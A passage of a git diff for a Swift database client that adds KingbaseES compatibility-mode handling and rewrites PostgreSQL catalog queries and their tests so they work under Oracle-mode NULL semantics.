.../Core/Autocomplete/SQLSchemaProvider.swift | 6 +- .../TablePro/Core/Compare/CompareRunner.swift | 8 +- .../Core/Compare/CompareSQLLiteral.swift | 3 +- .../Compare/CompareSyncEngineFamily.swift | 27 +++- .../Core/Compare/CompareSyncExecutor.swift | 16 ++- .../Core/Compare/CompareSyncSession.swift | 19 ++- .../Compare/SchemaSyncScriptBuilder.swift | 7 +- .../Core/Compare/SourceObjectDiffEngine.swift | 12 +- .../Compare/SourceObjectSyncBuilder.swift | 8 +- .../SourceFileDiskChangeMonitor.swift | 7 +- .../CrossEngineIndexTranslator.swift | 2 +- .../Core/CrossEngine/SQLTypeFamily.swift | 16 +++ .../Core/DataWrite/DataWriteRowCounts.swift | 2 +- .../DataWrite/ExplicitIdentityInsert.swift | 2 +- .../Access/DatabaseAccessBridge.swift | 16 ++- .../Database/DatabaseManager+Startup.swift | 14 +- .../Core/Database/FilterSQLGenerator.swift | 15 ++- .../Core/Diagnostics/QueryDiagnostic.swift | 5 +- .../ObjectCopy/ObjectCopyEligibility.swift | 48 ++++++- .../Core/ObjectCopy/ObjectCopyPlan.swift | 9 +- .../Core/ObjectCopy/ObjectCopyPlanner.swift | 31 ++++- .../Core/ObjectCopy/ObjectCopySession.swift | 4 +- .../Core/Plugins/DatabaseType+Registry.swift | 2 + .../Plugins/ExportDataSourceAdapter.swift | 5 +- .../Core/Plugins/ImportDataSinkAdapter.swift | 7 +- .../Core/Plugins/ImportTypeMapper.swift | 5 +- ...uginMetadataRegistry+CuratedDefaults.swift | 2 +- ...nMetadataRegistry+KingbaseESDefaults.swift | 48 ++++--- ...ginMetadataRegistry+RegistryDefaults.swift | 24 +--- .../Providers/OracleDashboardProvider.swift | 5 +- .../PostgreSQLDashboardProvider.swift | 3 +- .../ServerDashboardQueryProviderFactory.swift | 2 +- .../CellValues/CellExpressionVocabulary.swift | 5 +- .../Execution/TransactionEngineFamily.swift | 1 + .../Core/Services/Export/ImportService.swift | 2 +- .../Services/Export/RowImportTableMaker.swift | 5 +- .../Services/Query/CatalogChangeService.swift | 10 +- .../Query/ExplainPlanFormatDefaults.swift | 2 +- .../SQL/CatalogChangeClassifier.swift | 16 ++- .../Utilities/SQL/QueryClassifier+PLSQL.swift | 4 - .../Core/Utilities/SQL/QueryClassifier.swift | 5 +- .../Utilities/SQL/SQLLexicalResolver.swift | 9 +- .../SQL/SQLRowToStatementConverter.swift | 5 +- .../Core/Utilities/SQL/SQLScriptText.swift | 7 +- .../Schema/ColumnDefaultVocabulary.swift | 11 +- .../Models/Schema/ForeignKeyDialect.swift | 2 +- .../Models/Schema/IndexKeyDialect.swift | 2 +- .../TablePro/Resources/Localizable.xcstrings | 20 ++- .../AIChatViewModel+Persistence.swift | 2 +- .../AIChatViewModel+SchemaContext.swift | 2 +- .../Editor/Folding/FoldProviderResolver.swift | 10 +- .../Views/Editor/QueryCompletionAdapter.swift | 11 +- .../Editor/QueryDiagnosticsController.swift | 5 +- .../Views/Editor/SQLEditorController.swift | 37 +++++- ...ditorCoordinator+InvisibleCharacters.swift | 3 +- .../Views/Editor/SQLEditorCoordinator.swift | 25 +++- .../TablePro/Views/Import/ImportDialog.swift | 10 +- .../Results/TreeOutline/TreeOutlineView.swift | 6 +- .../Services/IOSConnectionImportService.swift | 2 +- .../MacOnlyImportRowTests.swift | 4 +- .../CompareSyncEngineFamilyTests.swift | 42 ++++++ .../CrossEngineIndexTypeTests.swift | 7 + .../DataWrite/DataWriteExecutorTests.swift | 12 ++ ...angeStatementFactoryServerOwnedTests.swift | 6 +- .../DatabaseAccessBridgeStatementTests.swift | 23 ++++ .../FilterSQLGeneratorColumnTypeTests.swift | 34 +++++ .../Database/StartupStatementsTests.swift | 8 ++ .../ObjectCopyEligibilityTests.swift | 35 +++++ ...luginMetadataRegistryKingbaseESTests.swift | 6 +- ...PluginMetadataRegistryTypeCountTests.swift | 2 +- .../PostgreSQLDashboardProviderTests.swift | 9 ++ ...erDashboardQueryProviderFactoryTests.swift | 3 +- .../TransactionEngineFamilyTests.swift | 2 +- .../ImportServiceSessionGrammarTests.swift | 112 ++++++++++++++++ .../ExplainPlanFormatResolutionTests.swift | 1 + .../SQL/CatalogChangeClassifierTests.swift | 10 ++ .../SQL/QueryClassifierLexicalTests.swift | 1 + .../Utilities/SQL/SQLScriptTextTests.swift | 9 ++ .../SQLRowToStatementConverterTests.swift | 13 ++ .../Helpers/ScriptAnsweringDriver.swift | 3 + apple/TableProTests/Helpers/TestGrammar.swift | 13 ++ .../Schema/ColumnDefaultVocabularyTests.swift | 3 + .../Schema/ForeignKeyDialectTests.swift | 7 + .../Models/Schema/IndexKeyListTests.swift | 2 +- .../Editor/SQLEditorSessionGrammarTests.swift | 80 ++++++++++++ apple/scripts/probes/check-kingbasees.sh | 2 - apple/scripts/probes/kingbasees-probe.swift | 121 +++++++++++------- 111 files changed, 1097 insertions(+), 318 deletions(-) create mode 100644 apple/Plugins/KingbaseESDriverPlugin/KingbaseESCompatibilityMode.swift create mode 100644 apple/TableProTests/Core/Compare/CompareSyncEngineFamilyTests.swift create mode 100644 apple/TableProTests/Core/Services/ImportServiceSessionGrammarTests.swift create mode 100644 apple/TableProTests/Views/Editor/SQLEditorSessionGrammarTests.swift diff --git a/apple/Packages/TableProCore/Sources/TableProQuery/FilterColumnKind.swift b/apple/Packages/TableProCore/Sources/TableProQuery/FilterColumnKind.swift index a41aea1dac..03b827341b 100644 --- a/apple/Packages/TableProCore/Sources/TableProQuery/FilterColumnKind.swift +++ b/apple/Packages/TableProCore/Sources/TableProQuery/FilterColumnKind.swift @@ -72,10 +72,9 @@ nonisolated public enum FilterColumnKind { // number: `bit = 101` and `boolean = 1` have no operator, and a `real` never equals the numeric 0.1. // DuckDB runs `bit = 101` and finds no row; `bit = '101'` finds it. private static func engineKind(_ kind: PluginColumnKind, typeName: String, databaseType: DatabaseType?) -> PluginColumnKind { - if let databaseType, SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres { - return kind == .integer && !nonNumericIntegerNames.contains(typeName) ? .integer : .text - } switch databaseType { + case .postgresql?, .redshift?: + return kind == .integer && !nonNumericIntegerNames.contains(typeName) ? .integer : .text case .duckdb?: return typeName == "bit" ? .text : kind default: diff --git a/apple/Packages/TableProCore/Sources/TableProSQLVocabulary/SQLEngineVocabulary.swift b/apple/Packages/TableProCore/Sources/TableProSQLVocabulary/SQLEngineVocabulary.swift index be6c736643..958fc6f6a8 100644 --- a/apple/Packages/TableProCore/Sources/TableProSQLVocabulary/SQLEngineVocabulary.swift +++ b/apple/Packages/TableProCore/Sources/TableProSQLVocabulary/SQLEngineVocabulary.swift @@ -67,6 +67,7 @@ public struct SQLEngineVocabulary: Sendable, Hashable { "PostgreSQL": postgreSQL, "CockroachDB": postgreSQL, "PGlite": postgreSQL, + "KingbaseES": postgreSQL, "Redshift": redshift, "SQLite": sqlite, "SQL Server": sqlServer, diff --git a/apple/Packages/TableProCore/Sources/TableProTabular/TabularSorter.swift b/apple/Packages/TableProCore/Sources/TableProTabular/TabularSorter.swift index 1cb592fbba..5ae5a3308f 100644 --- a/apple/Packages/TableProCore/Sources/TableProTabular/TabularSorter.swift +++ b/apple/Packages/TableProCore/Sources/TableProTabular/TabularSorter.swift @@ -147,7 +147,7 @@ public enum TabularSorter { private static func sortPositions(count: Int, buffers: SortKeyBuffers) async throws -> [Int] { let chunks = TabularChunking.ranges(count: count) - var runs: [[Int]] = try await withThrowingTaskGroup(of: (Int, [Int]).self) { group in + var runs = try await withThrowingTaskGroup(of: (Int, [Int]).self) { group in for (index, chunk) in chunks.enumerated() { group.addTask { try Task.checkCancellation() @@ -165,10 +165,8 @@ public enum TabularSorter { } while runs.count > 1 { try Task.checkCancellation() - let pairs: [([Int], [Int])] = stride(from: 0, to: runs.count, by: 2).map { index in - let left: [Int] = runs[index] - let right: [Int] = index + 1 < runs.count ? runs[index + 1] : [] - return (left, right) + let pairs = stride(from: 0, to: runs.count, by: 2).map { index in + (runs[index], index + 1 < runs.count ? runs[index + 1] : []) } runs = try await withThrowingTaskGroup(of: (Int, [Int]).self) { group in for (index, pair) in pairs.enumerated() { diff --git a/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift b/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift index 73838a4037..0e64785a6e 100644 --- a/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift +++ b/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift @@ -455,13 +455,4 @@ struct FilterSQLGeneratorTests { #expect(FilterColumnKind.keyLiteral("05", column: nil, databaseType: .sqlite) == .text("05")) #expect(FilterColumnKind.keyLiteral("2.5", column: nil, databaseType: .sqlite) == .numberOrText("2.5")) } - @Test("KingbaseES filters keep the server's boolean, bit and floating-point type resolution") - func kingbaseTypedFilters() { - let engine = DatabaseType(rawValue: "KingbaseES") - for name in ["boolean", "bit", "real", "double precision", "numeric(10,2)"] { - let column = ColumnInfo(name: "v", typeName: name) - #expect(engineClause(engine, column, "1") == "WHERE \"v\" = '1'") - } - #expect(engineClause(engine, ColumnInfo(name: "id", typeName: "bigint"), "5") == "WHERE \"id\" = 5") - } } diff --git a/apple/Packages/TableProCore/Tests/TableProSQLVocabularyTests/SQLEngineVocabularyTests.swift b/apple/Packages/TableProCore/Tests/TableProSQLVocabularyTests/SQLEngineVocabularyTests.swift index 42ef86641d..8cf6396385 100644 --- a/apple/Packages/TableProCore/Tests/TableProSQLVocabularyTests/SQLEngineVocabularyTests.swift +++ b/apple/Packages/TableProCore/Tests/TableProSQLVocabularyTests/SQLEngineVocabularyTests.swift @@ -9,7 +9,7 @@ struct SQLEngineVocabularyTests { let typeIds = SQLEngineVocabulary.curatedDatabaseTypeIds #expect(typeIds == [ "MySQL", "MariaDB", "TiDB", "Databend", "OceanBase", - "PostgreSQL", "CockroachDB", "PGlite", "Redshift", + "PostgreSQL", "CockroachDB", "PGlite", "KingbaseES", "Redshift", "SQLite", "SQL Server", "Oracle", "DuckDB", ]) for typeId in typeIds { @@ -32,6 +32,7 @@ struct SQLEngineVocabularyTests { ("OceanBase", "MySQL"), ("CockroachDB", "PostgreSQL"), ("PGlite", "PostgreSQL"), + ("KingbaseES", "PostgreSQL"), ]) func variantResolvesLikeItsBase(variant: String, base: String) { let resolved = SQLEngineVocabulary.curated(forDatabaseTypeId: variant) diff --git a/apple/Packages/TableProCore/Tests/TableProTabularTests/TabularSaveTests.swift b/apple/Packages/TableProCore/Tests/TableProTabularTests/TabularSaveTests.swift index b6a9edaa9a..157849c304 100644 --- a/apple/Packages/TableProCore/Tests/TableProTabularTests/TabularSaveTests.swift +++ b/apple/Packages/TableProCore/Tests/TableProTabularTests/TabularSaveTests.swift @@ -173,8 +173,7 @@ final class TabularSaveTests { #expect(try save(table, source: source) == export.rows[0] + export.rows[1] + export.rows[3] + export.rows[4]) var reordered = original reordered.replaceRowOrder(.explicit([4, 2, 3, 1])) - let expected: [UInt8] = [0, 4, 2, 3, 1].flatMap { export.rows[$0] } - #expect(try save(reordered, source: source) == expected) + #expect(try save(reordered, source: source) == export.rows[0] + export.rows[4] + export.rows[2] + export.rows[3] + export.rows[1]) } @Test func testAnEditNearTheEndOfALargeShiftJISFileLeavesEveryOtherByte() async throws { diff --git a/apple/Plugins/ClickHouseDriverPlugin/ClickHouseServerException.swift b/apple/Plugins/ClickHouseDriverPlugin/ClickHouseServerException.swift index 93bb003f56..713f8f5d87 100644 --- a/apple/Plugins/ClickHouseDriverPlugin/ClickHouseServerException.swift +++ b/apple/Plugins/ClickHouseDriverPlugin/ClickHouseServerException.swift @@ -79,7 +79,7 @@ nonisolated enum ClickHouseServerException { static func message(inFailureBody body: String) -> String { let bytes = Array(body.utf8) let text = framedMessage(in: bytes, tag: nil, header: nil) - ?? rawExceptionStart(in: bytes).map { Self.text(of: bytes[$0...]) } + ?? rawExceptionStart(in: bytes).map { text(of: bytes[$0...]) } ?? body return text.trimmingCharacters(in: .whitespacesAndNewlines) } diff --git a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESCompatibilityMode.swift b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESCompatibilityMode.swift new file mode 100644 index 0000000000..3dca8c1353 --- /dev/null +++ b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESCompatibilityMode.swift @@ -0,0 +1,37 @@ +import Foundation +import TableProPluginKit + +/// The SQL a KingbaseES server speaks, fixed when its cluster is initialized. +enum KingbaseESCompatibilityMode: Equatable, Sendable { + case postgreSQL + case oracle + + // The two-argument form answers NULL where the parameter does not exist, which reads as PostgreSQL mode. + static let probeQuery = "SELECT current_setting('database_mode', true)" + + static let lexicalFeaturesItDecides: SQLLexicalFeatures = [ + .alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers, + ] + + init(setting: String?) throws { + switch setting?.lowercased() { + case nil, "pg": + self = .postgreSQL + case "oracle": + self = .oracle + case let other?: + throw LibPQPluginError( + message: String( + format: String(localized: "KingbaseES in %@ mode is not supported. Connect to a server in PostgreSQL or Oracle mode."), + other + ), + sqlState: nil, + detail: nil + ) + } + } + + var lexicalFeatures: SQLLexicalFeatures { + self == .oracle ? Self.lexicalFeaturesItDecides : [] + } +} diff --git a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift index 44edd1344e..bbcf6caae8 100644 --- a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift +++ b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift @@ -9,13 +9,17 @@ final class KingbaseESPlugin: NSObject, TableProPlugin, DriverPlugin { static let databaseTypeId = "KingbaseES" static let databaseDisplayName = "KingbaseES" - static let iconName = "postgresql-icon" + static let iconName = "cylinder" static let defaultPort = 54_321 static let isDownloadable = true static let urlSchemes = ["kingbase", "kingbase8"] static let brandColorHex = "#C9141E" static let systemDatabaseNames = PostgreSQLPlugin.systemDatabaseNames - static let systemSchemaNames = ["pg_catalog", "sys_catalog", "information_schema", "pg_toast"] + static let systemSchemaNames = [ + "pg_catalog", "information_schema", "pg_toast", "sys_catalog", "sys", "anon", "dbms_job", "dbms_scheduler", + "dbms_sql", "kdb_schedule", "perf", "pg_bitmapindex", "src_restrict", "sys_hm", "sysaudit", "sysmac", "wmsys", + "xlog_record_read" + ] static let additionalConnectionFields: [ConnectionField] = [ ConnectionField( diff --git a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift index 47d0128508..a6892028d6 100644 --- a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift +++ b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift @@ -3,34 +3,25 @@ import os import TableProPluginKit final class KingbaseESPluginDriver: PostgreSQLPluginDriver, @unchecked Sendable { - private let oracleMode = OSAllocatedUnfairLock(initialState: false) - private static let modeFeatures: SQLLexicalFeatures = [ - .alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers - ] + private let mode = OSAllocatedUnfairLock(initialState: KingbaseESCompatibilityMode.postgreSQL) override var sessionLexicalState: PluginSessionLexicalState? { - let inherited = super.sessionLexicalState - let enabled = oracleMode.withLock { $0 } ? Self.modeFeatures : [] + guard let inherited = super.sessionLexicalState else { return nil } + let modeFeatures = mode.withLock { $0 }.lexicalFeatures return PluginSessionLexicalState( - determined: (inherited?.determined ?? []).union(Self.modeFeatures), - enabled: (inherited?.enabled ?? []).union(enabled) + determined: inherited.determined.union(KingbaseESCompatibilityMode.lexicalFeaturesItDecides), + enabled: inherited.enabled.union(modeFeatures) ) } override func connect() async throws { try await super.connect() do { - let result = try await execute(query: "SELECT current_setting('database_mode')") - let mode = result.rows.first?.first?.asText?.lowercased() - guard mode == "pg" || mode == "oracle" else { - throw LibPQPluginError( - message: String(localized: "This KingbaseES compatibility mode is not supported. Use PostgreSQL or Oracle mode."), - sqlState: nil, detail: nil - ) - } - oracleMode.withLock { $0 = mode == "oracle" } + let result = try await execute(query: KingbaseESCompatibilityMode.probeQuery) + let detected = try KingbaseESCompatibilityMode(setting: result.rows.first?.first?.asText) + mode.withLock { $0 = detected } } catch { - await disconnect() + disconnect() throw error } } diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLIndexQueries.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLIndexQueries.swift index 4968b271b4..4a0e63f1e7 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLIndexQueries.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLIndexQueries.swift @@ -125,7 +125,9 @@ nonisolated enum PostgreSQLIndexQueries { /// `pg_get_expr` writes it, which is the same deparse with the same flags. When either end fails to /// match byte for byte, `method_and_keys` is NULL and the index falls back to its fields. Cutting /// at the first ` USING ` or the last ` WHERE ` instead would split an index named - /// `i ON s.t USING btree (` or a predicate holding the literal `' WHERE '`. + /// `i ON s.t USING btree (` or a predicate holding the literal `' WHERE '`. An index without a + /// predicate has a NULL suffix, never `''`: KingbaseES in Oracle mode reads `''` as NULL and + /// `' WHERE ' || NULL` as ` WHERE `. static func indexDDLQuery(schema: String, table: String?) -> String { let schemaLiteral = PostgreSQLObjectQueries.quoteLiteral(schema) let tablePredicate = table.map { " AND t.relname = \(PostgreSQLObjectQueries.quoteLiteral($0))" } ?? "" @@ -134,15 +136,17 @@ nonisolated enum PostgreSQLIndexQueries { d.table_name, d.index_name, CASE - WHEN pg_catalog.length(d.definition) >= pg_catalog.length(d.prefix) + pg_catalog.length(d.suffix) + WHEN pg_catalog.length(d.definition) + >= pg_catalog.length(d.prefix) + COALESCE(pg_catalog.length(d.suffix), 0) AND pg_catalog.substr(d.definition, 1, pg_catalog.length(d.prefix)) = d.prefix - AND pg_catalog.substr( + AND (d.suffix IS NULL OR pg_catalog.substr( d.definition, pg_catalog.length(d.definition) - pg_catalog.length(d.suffix) + 1 - ) = d.suffix + ) = d.suffix) THEN pg_catalog.substr( d.definition, pg_catalog.length(d.prefix) + 1, - pg_catalog.length(d.definition) - pg_catalog.length(d.prefix) - pg_catalog.length(d.suffix) + pg_catalog.length(d.definition) - pg_catalog.length(d.prefix) + - COALESCE(pg_catalog.length(d.suffix), 0) ) END AS method_and_keys, d.predicate @@ -162,7 +166,9 @@ nonisolated enum PostgreSQLIndexQueries { END || pg_catalog.quote_ident(n.nspname) || '.' || pg_catalog.quote_ident(t.relname) || ' ' AS prefix, - COALESCE(' WHERE ' || pg_catalog.pg_get_expr(ix.indpred, ix.indrelid), '') AS suffix, + CASE WHEN ix.indpred IS NOT NULL + THEN ' WHERE ' || pg_catalog.pg_get_expr(ix.indpred, ix.indrelid) + END AS suffix, pg_catalog.pg_get_expr(ix.indpred, ix.indrelid) AS predicate FROM pg_catalog.pg_index ix JOIN pg_catalog.pg_class i ON i.oid = ix.indexrelid diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+ColumnReorder.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+ColumnReorder.swift index 6e50299834..260d95fe3b 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+ColumnReorder.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+ColumnReorder.swift @@ -137,7 +137,7 @@ extension PostgreSQLPluginDriver { JOIN pg_class c ON c.oid = t.tgrelid JOIN pg_namespace n ON n.oid = c.relnamespace WHERE c.relname = \(tableLiteral) AND n.nspname = \(schemaLiteral) AND NOT t.tgisinternal - AND t.tgenabled <> 'O' + AND t.tgenabled IN ('D', 'R', 'A') ORDER BY t.tgname """) @@ -155,7 +155,7 @@ extension PostgreSQLPluginDriver { JOIN pg_namespace n ON n.oid = c.relnamespace WHERE c.relname = \(tableLiteral) AND n.nspname = \(schemaLiteral) AND a.attnum > 0 AND NOT a.attisdropped - AND \(caps.hasIdentityColumns ? "a.attidentity = ''" : "true") + AND \(caps.hasIdentityColumns ? "a.attidentity NOT IN ('a', 'd')" : "true") AND pg_get_serial_sequence( quote_ident(n.nspname) || '.' || quote_ident(c.relname), a.attname ) IS NOT NULL diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaManagementQueries.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaManagementQueries.swift index cffd92b8b9..ed0db78a91 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaManagementQueries.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaManagementQueries.swift @@ -58,7 +58,7 @@ enum PostgreSQLSchemaManagementQueries { ) s LEFT JOIN pg_catalog.pg_roles gte ON gte.oid = (s.acl).grantee LEFT JOIN pg_catalog.pg_roles gtr ON gtr.oid = (s.acl).grantor - ORDER BY 2, 3 + ORDER BY gte.rolname NULLS FIRST, 3 """ } diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift index 027a5b69e7..b38f26b455 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift @@ -329,17 +329,23 @@ enum PostgreSQLSchemaQueries { /// inherits `C` from its domain and one declared `COLLATE "C"` over `text` report `C` in /// `information_schema`, and only the second declares it. Reads the attribute as `a`, which every /// column read and column DDL builder in this plugin aliases it to. - static let columnCollation = """ + static let columnCollation = declaredCollation(PostgreSQLObjectQueries.collationName("a.attcollation")) + + /// `columnCollation` as the text a column definition appends after its type: ` COLLATE `, or + /// an empty string. + // The keyword sits inside the THEN: KingbaseES in Oracle mode reads `' COLLATE ' || NULL` as ` COLLATE `. + static let columnCollateClause = declaredCollation( + "' COLLATE ' || \(PostgreSQLObjectQueries.collationName("a.attcollation"))", otherwise: "''" + ) + + private static func declaredCollation(_ value: String, otherwise fallback: String? = nil) -> String { + """ CASE WHEN a.attcollation <> 0 AND a.attcollation <> (SELECT ty.typcollation FROM pg_catalog.pg_type ty WHERE ty.oid = a.atttypid) - THEN \(PostgreSQLObjectQueries.collationName("a.attcollation")) + THEN \(value)\(fallback.map { "\n ELSE \($0)" } ?? "") END """ - - /// `columnCollation` as the text a column definition appends after its type: ` COLLATE `, or - /// an empty string. - // Oracle-compatible servers concatenate NULL as empty, so COALESCE after concatenation keeps a bare COLLATE. - static let columnCollateClause = "CASE WHEN (\(columnCollation)) IS NULL THEN '' ELSE ' COLLATE ' || \(columnCollation) END" + } /// One array over the sequences this column's default reads in the table's own schema, ordered by /// oid so the qualified and relative arrays pair element for element. @@ -432,8 +438,8 @@ enum PostgreSQLSchemaQueries { } static func rebuildColumnsQuery(schema: String, table: String, capabilities: PostgreSQLCapabilities) -> String { - let identityFlag = capabilities.hasIdentityColumns ? "a.attidentity <> ''" : "false" - let generatedFlag = capabilities.hasGeneratedColumns ? "a.attgenerated <> ''" : "false" + let identityFlag = capabilities.hasIdentityColumns ? "a.attidentity IN ('a', 'd')" : "false" + let generatedFlag = capabilities.hasGeneratedColumns ? "a.attgenerated IN ('s', 'v')" : "false" return """ SELECT a.attname, @@ -459,9 +465,10 @@ enum PostgreSQLSchemaQueries { ELSE '' END || """ : "" + // The kinds are named because KingbaseES in Oracle mode reads `''` as NULL, so `= ''` is never true there. let defaultGuard = [ - capabilities.hasIdentityColumns ? "AND a.attidentity = ''" : "", - capabilities.hasGeneratedColumns ? "AND a.attgenerated = ''" : "" + capabilities.hasIdentityColumns ? "AND a.attidentity NOT IN ('a', 'd')" : "", + capabilities.hasGeneratedColumns ? "AND a.attgenerated NOT IN ('s', 'v')" : "" ].filter { !$0.isEmpty }.joined(separator: " ") return """ quote_ident(a.attname) || ' ' || format_type(a.atttypid, a.atttypmod) || \(columnCollateClause) || @@ -524,8 +531,15 @@ enum PostgreSQLSchemaQueries { let includesTableName = table == nil let identityProjection = capabilities.hasIdentityColumns ? "a.attidentity" : "NULL::text" let generatedProjection = capabilities.hasGeneratedColumns ? "a.attgenerated" : "NULL::text" + // Not `c.generation_expression`: KingbaseES's Oracle-mode view compares `attgenerated <> NULL`, so it is always NULL. let generationExpressionProjection = capabilities.hasGeneratedColumns - ? "c.generation_expression" + ? """ + CASE WHEN a.attgenerated IN ('s', 'v') + THEN (SELECT pg_catalog.pg_get_expr(ad.adbin, ad.adrelid) + FROM pg_catalog.pg_attrdef ad + WHERE ad.adrelid = a.attrelid AND ad.adnum = a.attnum) + END + """ : "NULL::text" let attributeJoin = """ diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLCatalogSQLPinTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLCatalogSQLPinTests.swift index 4ee26ebffe..b3f682d6a6 100644 --- a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLCatalogSQLPinTests.swift +++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLCatalogSQLPinTests.swift @@ -277,7 +277,11 @@ struct PostgreSQLCatalogSQLPinTests { a.attidentity AS identity_kind, a.attgenerated AS generated_kind, c.udt_schema AS udt_schema, - c.generation_expression AS generation_expression, + CASE WHEN a.attgenerated IN ('s', 'v') + THEN (SELECT pg_catalog.pg_get_expr(ad.adbin, ad.adrelid) + FROM pg_catalog.pg_attrdef ad + WHERE ad.adrelid = a.attrelid AND ad.adnum = a.attnum) + END AS generation_expression, CASE WHEN EXISTS ( SELECT 1 FROM pg_catalog.pg_type dt diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift index 23e32c8bbc..cba6ac1f90 100644 --- a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift +++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift @@ -51,12 +51,18 @@ struct PostgreSQLColumnDDLQuerySequenceCollationTests { )) } - @Test("The DDL builders' clause is the same collation behind a COLLATE keyword, or nothing") + @Test("The DDL builders' clause reads the same collation once, behind a COLLATE keyword, or nothing") func collateClauseWrapsTheSameCollation() { - #expect( - PostgreSQLSchemaQueries.columnCollateClause - == "CASE WHEN (\(PostgreSQLSchemaQueries.columnCollation)) IS NULL THEN '' ELSE ' COLLATE ' || \(PostgreSQLSchemaQueries.columnCollation) END" - ) + let clause = PostgreSQLSchemaQueries.columnCollateClause + let name = PostgreSQLObjectQueries.collationName("a.attcollation") + #expect(clause.contains("a.attcollation <> 0")) + #expect(clause.contains( + "a.attcollation <> (SELECT ty.typcollation FROM pg_catalog.pg_type ty WHERE ty.oid = a.atttypid)" + )) + #expect(clause.contains("THEN ' COLLATE ' || \(name)")) + #expect(clause.contains("ELSE ''")) + #expect(clause.components(separatedBy: name).count - 1 == 1) + #expect(clause.components(separatedBy: "pg_catalog.pg_type ty").count - 1 == 1) } } diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnQueryTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnQueryTests.swift index 2c5539a140..2d97d2f31c 100644 --- a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnQueryTests.swift +++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnQueryTests.swift @@ -80,7 +80,9 @@ struct PostgreSQLColumnsQueryTests { let query = singleTable(schema: "s2", table: "orders") #expect(query.contains("a.attidentity")) #expect(query.contains("a.attgenerated")) - #expect(query.contains("c.generation_expression")) + #expect(query.contains("CASE WHEN a.attgenerated IN ('s', 'v')")) + #expect(query.contains("THEN (SELECT pg_catalog.pg_get_expr(ad.adbin, ad.adrelid)")) + #expect(!query.contains("c.generation_expression")) #expect(query.contains("ON a.attrelid = rel.oid")) #expect(query.contains("AND a.attnum = c.ordinal_position")) } @@ -223,11 +225,13 @@ struct PostgreSQLMaterializedViewColumnsQueryTests { } @Test("a materialized view column has no primary key and no default") - func armSkipsConstraintsAndDefaults() { + func armSkipsConstraintsAndDefaults() throws { let rendered = query() + let arm = try #require(rendered.components(separatedBy: "UNION ALL").last) #expect(rendered.contains("'NO' AS is_pk")) #expect(rendered.contains("NULL::text AS column_default")) - #expect(!rendered.contains("pg_attrdef")) + #expect(arm.contains("mvc.relkind = 'm'")) + #expect(!arm.contains("pg_attrdef")) #expect(rendered.components(separatedBy: "FROM pg_catalog.pg_constraint con").count - 1 == 1) } diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLIndexReplayTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLIndexReplayTests.swift index 9a5556b840..6fe21b80db 100644 --- a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLIndexReplayTests.swift +++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLIndexReplayTests.swift @@ -173,9 +173,13 @@ struct PostgreSQLIndexDDLQueryTests { @Test("The suffix is the predicate as pg_get_expr writes it, and the keys are cut only when both ends match") func suffixAndCut() throws { let sql = PostgreSQLIndexQueries.indexDDLQuery(schema: "src", table: nil) - #expect(sql.contains("COALESCE(' WHERE ' || pg_catalog.pg_get_expr(ix.indpred, ix.indrelid), '') AS suffix")) + #expect(sql.contains("CASE WHEN ix.indpred IS NOT NULL")) + #expect(sql.contains("THEN ' WHERE ' || pg_catalog.pg_get_expr(ix.indpred, 